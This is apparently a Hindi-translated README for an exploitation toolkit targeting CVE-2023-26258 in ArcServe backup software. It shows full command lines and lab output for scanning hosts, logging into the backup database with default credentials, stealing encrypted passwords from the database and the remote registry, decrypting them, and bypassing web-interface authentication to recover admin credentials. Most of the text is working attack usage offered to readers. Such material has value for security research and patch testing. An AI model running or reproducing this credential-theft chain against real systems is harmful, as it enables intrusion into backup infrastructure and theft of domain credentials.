
CVE-2023-26258 के लिए शोषण टूलकिट जो ArcServe बैकअप सॉफ्टवेयर को लक्षित करता है। इसमें नेटवर्क स्कैनर, डेटाबेस और रजिस्ट्री से क्रेडेंशियल निकालने वाला उपकरण, पासवर्ड डिक्रिप्टर, और प्रबंधन वेब इंटरफेस के लिए प्रमाणीकरण बाईपास शोषण शामिल है।
TL; DR;
यदि आप नेटवर्क में हैं, तो आप ArcServeRadar.py का उपयोग करके डिफ़ॉल्ट रूप से कॉन्फ़िगर किए गए इंस्टेंसेस को स्कैन कर सकते हैं। मैंने इसे C# में पोर्ट करने की कोशिश की, लेकिन नहीं कर पाया; यदि आप जानते हैं कि कैसे करना है, तो बेझिझक करें :)
c:\Users\vagrant\Desktop>python ArcServeRadar.py "Ethernet 2" 6969 192.168.56.20
-=[ ArcServe Finder - @TheXC3LL - MDSec ]=-
[*] Starting to monitor
[*] Broadcasting
WARNING: Mac address to reach destination not found. Using broadcast.
[+] 192.168.56.10 => ServerName;KINGSLANDING;InstanceName;ARCSERVE_APP;IsClustered;No;Version;15.0.2000.5;tcp;62197;;
यदि यह डिफ़ॉल्ट रूप से कॉन्फ़िगर किया गया है, तो आप ऊपर प्राप्त IP और पोर्ट से कनेक्ट करने के लिए डिफ़ॉल्ट DB क्रेडेंशियल का उपयोग कर सकते हैं और ArcServe-dbpwner.py का उपयोग करके उपयोगकर्ता नाम/पासवर्ड तथा ArcServe इंस्टेंसेस का स्थान पढ़ सकते हैं:
psyconauta@insulanova:/tmp|⇒ python3 arcserve-dbpwner.py -target 192.168.56.10 -port 62197
-=[ ArcServe credential retriever (from DB) - Juan Manuel Fernandez (@TheXC3LL) - MDSec]=-
[*] Connecting to the server
[*] Login with default creds
[*] Extracting credentials:
[+] User: SEVENKINGDOMS\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[+] User: SEVENKINGDOMS\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[*] Finding hosts:
[+] 192.168.56.10 | kingslanding.sevenkingdoms.local | Windows Server 2019 Datacenter Evaluation
[+] 192.168.56.10 | kingslanding.sevenkingdoms.local | NULL
Have a nice day! ^_^
टूल्स द्वारा प्राप्त सभी पासवर्ड ArcServeDecrypter.exe का उपयोग करके डिक्रिप्ट किए जा सकते हैं। बस C कोड को एडिट करके ऐरे जोड़ें, कंपाइल करें और एक्सीक्यूट करें:
C:\Users\vagrant>C:\Users\vagrant\source\repos\ArcServeDecrypter\x64\Debug\ArcServeDecrypter.exe
-={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) - MDSec}=-
[+] Decrypted string: vagrant
यदि आपके पास उस सर्वर पर स्थानीय व्यवस्थापक विशेषाधिकार हैं जहाँ ArcServe स्थापित है, तो आप रिमोट रजिस्ट्री सेवा (arcserve-regkeys.py) का उपयोग करके क्रेडेंशियल पढ़ सकते हैं:
psyconauta@insulanova:/tmp|⇒ python3 arcserve-regkeys.py -u eddard.stark -p 'FightP3aceAndHonor!' -d sevenkingdoms.local -target-ip 192.168.56.20
-=[ ArcServe Credential Stealer - (@TheXC3LL) - MDSec]=-
[+] Connecting to 192.168.56.20
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Opening registry key
[*] User: P3TWLADS11STD\vagrant
[*] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[+] Stopping Remote Registry Service
Have a nice day! ^_^
अंत में, यदि ArcServe संस्करण पैच नहीं किया गया था (CVE-2023-26258), तो आप प्रबंधन वेब इंटरफ़ेस में प्रमाणीकरण बाईपास का शोषण कर सकते हैं और व्यवस्थापक क्रेडेंशियल प्राप्त कर सकते हैं (ArcServe-exploit.py):
psyconauta@insulanova:/tmp|⇒ python3 ArcServe-exploit.py 192.168.56.10
-=[ ArcServe Pwner by Juan Manuel Fernandez (@TheXC3LL) - MDSec]=-
[*] Triggering info leak
[+] AdminName: SEVENKINGDOMS\vagrant
[+] AuthUUID: 6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1
[*] Getting a valid session
[+] Session: AGENTJSESSIONID=CA35EF18A4FF2F85E25538F60C3F7428
[*] Doing an authenticated request to validate if session is valid
[*] Session is valid
[+] Admin: SEVENKINGDOMS\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98} // Paste it to the decrypter
Have a happy hacking! ^_^
तो यहाँ उन टूल्स का सारांश समाप्त होता है जो आप यहाँ पा सकते हैं।